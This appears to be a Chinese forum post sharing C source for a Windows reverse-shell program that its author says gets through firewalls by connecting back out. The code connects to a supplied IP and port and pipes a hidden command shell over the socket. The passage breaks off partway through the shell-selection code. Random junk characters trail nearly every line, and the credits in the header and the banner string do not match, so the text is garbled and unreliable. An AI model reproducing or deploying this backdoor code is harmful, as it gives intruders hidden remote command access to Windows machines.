这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 u_~*)w+mS@
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/* ============================== 6JYVC>i
Rebound port in Windows NT 4?3*%_bDJ,
By wind,2006/7 =eNh))]
===============================*/ 0s#`H
#include
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#include ">LX>uYmX-
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#pragma comment(lib,"wsock32.lib") ^3B&E^R
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void OutputShell(); QlmZ4fT[r
SOCKET sClient; HpD<NVu
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 4)i(`/U
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void main(int argc,char **argv) 8LMO2Wyq
{ v[O }~E7'
WSADATA stWsaData; F/ODV=J-
int nRet; S1B^FLe7X
SOCKADDR_IN stSaiClient,stSaiServer; )zR(e>VX
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if(argc != 3) BcfW94
{ Rz Os,
printf("Useage:\n\rRebound DestIP DestPort\n"); kX2bU$1Q,i
return; #Pf?.NrTn
} #9a\Ab
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WSAStartup(MAKEWORD(2,2),&stWsaData); vl"l
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5a PPq~%
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stSaiClient.sin_family = AF_INET; 41S.&-u
stSaiClient.sin_port = htons(0); )5479Eb_
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8{t^< j$n
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9uNkd2#
{ lD%Fk3
printf("Bind Socket Failed!\n"); J*n Q(*e
return; [T(XwA)
} Y M<8>d
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stSaiServer.sin_family = AF_INET; u?J!3ZEtb
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); C [Ap&S
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); k`5jy~;
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Q(3Na 6
{ rY~!hZ
printf("Connect Error!"); aw\\oN*
return; cILI%W1
} CWTPf1?eB
OutputShell(); t+,'
} lhx"<kR4
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void OutputShell() 6 cF~8
{ #GJ{@C3H8Q
char szBuff[1024]; 8zMt&5jD
SECURITY_ATTRIBUTES stSecurityAttributes; SWX[|sjdB
OSVERSIONINFO stOsversionInfo; hnk,U:7}
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; B=>VP-:
STARTUPINFO stStartupInfo; 1&,d,<
char *szShell; xzZ2?zWi
PROCESS_INFORMATION stProcessInformation; %`M IGi#
unsigned long lBytesRead; /tG0"1{
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); M/O
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); lBpy0lo#
stSecurityAttributes.lpSecurityDescriptor = 0; L<}0}y
stSecurityAttributes.bInheritHandle = TRUE; 4R(H@p%+r2
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Y-&SZI4H
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ZM6`:/lc
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); yDE0qUO
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >!D^F]CH
stStartupInfo.wShowWindow = SW_HIDE; b%-S'@ew
stStartupInfo.hStdInput = hReadPipe; <Lt%[dn
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; |=o)|z2
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GetVersionEx(&stOsversionInfo); y^*o%2/
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switch(stOsversionInfo.dwPlatformId) 3w>S?"W#
{ o4zX
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case 1: ]UMt
szShell = "command.com"; =(3Yj[>st
break; 0E<